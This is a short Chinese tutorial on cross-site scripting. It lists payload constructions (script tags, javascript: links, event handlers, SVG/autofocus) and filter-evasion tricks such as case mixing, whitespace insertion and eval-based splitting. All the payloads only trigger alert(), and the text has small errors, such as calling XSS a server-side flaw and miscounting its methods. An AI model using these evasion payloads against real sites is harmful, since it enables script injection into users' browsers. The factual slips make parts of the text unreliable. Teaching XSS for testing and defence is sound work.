※XSS:
XSS 是OWASP TOP10之一的漏洞,被称为跨站脚本攻击,是发生在服务器的漏洞,
常出现于微博、留言板、聊天室等手机用户输入的地方,都有可能被注入XSS代码。
※XSS的构造(现在有三种方法)
1.利用<>构造HTML/JS
在测试页面,提交参数<script>alert(xss)</script>
2.伪协议
使用JavaScript:伪协议的方式构造XSS
在测试页面:提交参数 <a href="javascript:alert(/xss/)"> hi!</a>

点击后弹出弹窗

3.产生自己的事件
在网页中发生很多事件,比如鼠标移动,键盘输入等,JS可以对这些事件进行响应,所以我们可以通过事件触发JS函数从而触发XSS.
如输入<img src='./smile.jpg' onmouseover='alert(/xss/)'>时这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码。
单行文本框的键盘点击事件,<input type="text" onkeydown="alert(/xss/)">,当点击键盘任意一个按键的时候出发。
4. 其他标签以及手法(H5)
<svg onload="alert(/xss/)">
<input onfocus=alert(/xss/) autofocus>
================================================================================================
※XSS的变形(六种)
1. 大小写转换
可以将payload 进行大小写转化。如:
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">click me</a>
2. 引号的使用---HTML 语言中对引号的使用不敏感.如“
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />
3. ' /'代替空格 可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4. 回车我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<A hREf="j
avas cript:alert(/xss/)">click me!</a>
5. 对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。
如:<A hREf="javascript:alert(/xss/)">click me!</a>
6. 拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
本文深入解析了XSS(跨站脚本)攻击,包括其在OWASP TOP10中的地位,详细介绍了XSS的四种构造方法及六种变形手段,如利用<>构造HTML/JS、伪协议、事件触发等,以及大小写转换、引号使用等变形技巧。

5818

被折叠的 条评论
为什么被折叠?



